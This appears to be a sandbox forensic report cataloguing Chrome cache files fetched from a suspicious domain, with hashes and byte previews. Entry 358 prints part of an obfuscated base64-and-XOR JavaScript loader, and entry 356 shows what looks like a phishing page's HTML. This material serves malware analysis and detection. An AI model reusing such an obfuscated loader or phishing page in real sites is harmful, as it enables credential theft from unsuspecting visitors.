Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

Chrome Cache Entry: 345

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
Category:	downloaded
Size (bytes):	43596
Entropy (8bit):	7.9952701440723475
Encrypted:	true
SSDEEP:	768:b0nfc/3Osy1fo0tBBFF/GGXfN2ZHKTBUwL+BR49qCow3Z3HuvJ5+xXtTgXHk6/:b0fU3OdhFF/xNOoZc49ow3Z3HO+xX1mf
MD5:	2A05E9E5572ABC320B2B7EA38A70DCC1
SHA1:	D5FA2A856D5632C2469E42436159375117EF3C35
SHA-256:	3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
SHA-512:	785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/90FwFNCSlKcg1gKnc9avIcdQUX4h1cyz71
Preview:	wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...\|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P..j..)..'.L......b..RQjII..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P......

Chrome Cache Entry: 346

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 347

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 348

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:	6:6v/lhPZsRtsa9hC0bKDHv5Ef30XY4qMa3IE6Aleup:6v/76eAhbSHusYX4E3
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 349

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	727
Entropy (8bit):	7.573165690842521
Encrypted:	false
SSDEEP:	12:6v/70lGN4n6OF/Y9jJ6xmOLY3cyWiJBYmH7xCZm1Uvleq8AM8Tkbc0:HudJ6xU3fWU1HsZm1Wleq8t5b/
MD5:	839CB0F55C3D2D5C2F740BDA95CB2878
SHA1:	93F6FA3A2DA8B7184D4B5C5F2065872793370C2E
SHA-256:	40ECB8832F6A9A8AAA0CC6E1287E867A4FCA38433D091D86C6CAB1F28FBAB652
SHA-512:	ECBCA8AB21BF3302C88F933CFD248CFF5553AFE152A170F554C27FD67BDC3E7D8CE79E202561FD0658E41820681EB90F74E38FD09390C517AFB34D2C1B65A096
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140
Preview:	.PNG........IHDR...0...0.....W.......IDAThC.Q.1.E.......`... .............T...:....7r....sw;Y.h..dK__.........M.v.....@a....j..P.;..K....^%..m...Nn.......y..l.]@..z.T..X..e...DZ.$Y......o`.L@`..r.0...s8Bd...1..M.=.A...a.'./...O....@4.mk..2.\..H.ER...e....s...`._.;..5n...X\|o..K....w...8........i8L..6P\|r9.=!...j..........~X{.Y.5X....4...v.Z.&.... ..)..ZXJ.8..... ..-p.9t.N...r.[..t....=\ >pLg%m..@........8o.).%..S...d.E\|%.......5.p..QK0Z<...0...:Q...<.m^<.y....7..#r..Qm...DZ..}.5.c.&.....0..Wr.....w.f-.n... .-..,l..0..3...E..4k.~..Y.B:t.*}.L..z..U.b......s............w.(......jt.Z5.7..8........0...?..1.w."&......8j.5vO.<..OgSM.j%..u..E=:..XJ==.....(...30.(....O)41P.....pkQ@f.S.....IEND.B`.

Chrome Cache Entry: 350

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23398), with no line terminators
Category:	downloaded
Size (bytes):	23398
Entropy (8bit):	5.104409455331282
Encrypted:	false
SSDEEP:	384:ztafGtz2omXX44PL5Ky0sdY8xbXnb4YEb0tkBSgfn:hafSz2omXX44PL5Ky0sdY8xbXnEYw0sz
MD5:	C1C51D30D5E7094136F2D828349E520F
SHA1:	10AE8971AD7A8798BC9732707FE4896B57541557
SHA-256:	0C55057782E3B346C2B819574BFA916852BC8AC5BB4E01D56E8FBFFC22043C98
SHA-512:	7CF90E58A309B53DB53570129780E0ABCEFA2802C1A6441C1A4B49DC265DF617220DC1072CEBDAE7A74C3CA85F5D87B606503BD48A60E049372BE5CAF39969F7
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/12HIw9eOWu0absr2Ad26720
Preview:	,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit},input{margin:0}.p,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_pdf a{color:#fff;text-deco

Chrome Cache Entry: 351

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1414), with no line terminators
Category:	downloaded
Size (bytes):	1414
Entropy (8bit):	5.778716403292963
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVC4TLv138EgFB5vtTGJrdcl/1t4glvllLtd1ATw1HsLqo40Y:VKEctKomR3evtTA2tX7TGw1MLrwUnG
MD5:	40CFAE3B5462CABE5C2CFAFA279227CB
SHA1:	56CD07648D373760809DBF9515F6E5376DFF04A4
SHA-256:	CD22C5327CD617FB47A47DF6E46DD055B0B5A4775D22B394B5968284D2CFFE91
SHA-512:	E0911068E87AFAD83F2943CBFF005B146641C1F5D81E24B13C6E3ECF7CC24D2E1329F8C19DB73AD69AE9EB62B263BF2143D297221EC0452B76527BAF6770BB75
Malicious:	false
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.pr

Chrome Cache Entry: 352

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 353

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 9 x 52, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.002585360278503
Encrypted:	false
SSDEEP:	3:yionv//thPlCthc/xl/k4E08up:6v/lhP3/7Tp
MD5:	52DA97BA0EA1B01BC353B00D2ED359AF
SHA1:	FA76B9D025E22BD431DE2172006D73D1740DC142
SHA-256:	CF305CE17F798679E03667CC9183ED52F2686C09EB99E8858FCBC8E2777F9BD5
SHA-512:	138529C7395EAF9869708050A03A7AE11D7C9C6063E00C6DAA161FF06879CE25E83C5A4EBED96D31867BA01A1C24C7285F375799CC4CC79A7777DE0E4F7329CD
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/887eb68febf4728a/1716400905715/yORtcSm8PD7IuNp
Preview:	.PNG........IHDR.......4........4....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 354

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 355

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/qrVD5kJZloQSesAn3G3goFnI5CufOEbJOuztggbUKlWDbs12uhS3VGXPOyeiAat4cm4bAef240
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 356

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (309), with CRLF line terminators
Category:	downloaded
Size (bytes):	51460
Entropy (8bit):	4.885807723258839
Encrypted:	false
SSDEEP:	768:zi+Ys/s39am/ImGro4H8cojsGCVuitgRTHC4E/mMx4C8wD0t:Cvam/ImGk42sGCUMgRTHC4EeMx4+0t
MD5:	881BE5B72ACF5ECFF688698EC7AEC853
SHA1:	FBC1A61D96A3AF527941B37F9BE6F4733F711EE8
SHA-256:	40BB28045730085E42C24A52B063AAD7308AD8990AF85CC8755532B9B801A75B
SHA-512:	D3BF8D09A2D948CD86806513DDC2061D2A0D46D668B4C67758652F3D25523C7AD174135727741392978330DBAE2D31C43659D7FEEA70E03598E42245C5025762
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>.. <script src="https://cdn.socket.io/4.6.0/socket.io.min.js"></script>.. <script src="https://www.google.com/recaptcha/api.js"></script>.. <link rel="stylesheet" href="/12HIw9eOWu0absr2Ad26720">.. <link rel="stylesheet" href="/aberie6jZkbpqVFEef25">.. <link rel="preload" href="pqOXwEJDxFZyzN1auv36" as="font" type="font/woff2" crossorigin="anonymous">.. <link rel="preload" href="12GxD1xKYiaDaUT560Micgpqr50" as="font" type="font/woff" crossorigin="anonymous">.. <link rel="preload" href="56RriKccTQyAhplO4d67VmBjviYuv59" as="font" type="font/woff2" crossorigin="anonymous">.. <link rel="preload" href="23tBEhtKGMgm89BkdRhzvw70" as="font" type="font/woff" crossorigin="anonymous">.. <link rel="preload" href="90FwFNCSlKcg1gKnc9avIcdQUX4h1cyz71" as="font" type="font/woff2" crossorigin="anonymous">.. <link rel="preload" href="cdHTrgIfxVnMGL3mur53GZppEX78

Chrome Cache Entry: 357

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 358

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1445), with CRLF line terminators
Category:	downloaded
Size (bytes):	1812
Entropy (8bit):	6.0541933111840525
Encrypted:	false
SSDEEP:	48:7IBFHygX0Yj83abnmpW2o7s3wdGeQdfh4ZvMQtiHt:0FF8qbnW9gdspmZLt0
MD5:	039B68DE74619ED82B258925184CAF7E
SHA1:	9E7B47715569D51DBE700F2DF099EFED8E670163
SHA-256:	8D5C6AAB13EEADEC9C9B18F54D406FDB45561E5F2B8BF378D6C6CDF8E51335BC
SHA-512:	8C0339F50CCAA4BC435F0FBCAFBDA5CF609505496C5EEEA1BA03D194FAD064E08EB4859F4AB5CB7D9AB802964BCFFCD9F5CB822F237A52DC0E79D19FADADBADF
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/k3hof49809/
Preview:	<script>..function fSKSOgEIRl(AKHWyCQrGY, GGAQTdSoUZ) {..let ruHnlZMeDn = '';..AKHWyCQrGY = atob(AKHWyCQrGY);..let KoaEaJcgjy = GGAQTdSoUZ.length;..for (let i = 0; i < AKHWyCQrGY.length; i++) {.. ruHnlZMeDn += String.fromCharCode(AKHWyCQrGY.charCodeAt(i) ^ GGAQTdSoUZ.charCodeAt(i % KoaEaJcgjy));..}..return ruHnlZMeDn;..}..var FqtEObOXQu = fSKSOgEIRl(`dSQ6F18pJXBZYT82K0V6KAM2EiMPOwoPFmRxOT0FLTguS1o2Mi8gAiY5dw1XKjlgJx4rJC0XHmh4dVlhLyI3BkIwPiB0KAQ1EQZaCysmAEMzJhYRXgsEKBYOYHciaDx5cW50HzsueR47U3FudEtpd3lFRDwlOyYFaTUtCldxMDo7CWEtKCpCMQMbMiksfnBFC2RxNCUkPT8LMFAbNHVZYWl3eUVLeTIvIAghd3EARCt4bi9mQ3d5RRZ5cW50GSwjLBdYeTcvOBgsbFRvFnlxbilmQypUb18/eQIlOTERESNaCjtuaVZpdXtMTVRbbnRLaSAwC1I2JmA4BCo2LQxZN38mJg4vd2RFQTA/KjscZzs2BlctOCE6RTk2LQ1YODwrdEBpdWZHFnJxbBpJclpTGDtTOCh8JzgFISN+Hz0dPktoamRFFHt4NVlhaXd5RV8/cWYXJisfOglkIzkafCc4BSEjfh89HT5CYHciaDx5cW50HSgleQRULiAdAwk/BShFC3kwOjsJYRsoN04fGQg4OCN+Ymg8eXFudB0oJXkOey8QHxk5LgIBRQt5eS82HDgEDgdACyBgOQo9NDFNGXEKEiNFZApyJW04fDQVRhNndFwYdAxlCEUSNnQfd3QLfnlSFCxr

Chrome Cache Entry: 359

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 360

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
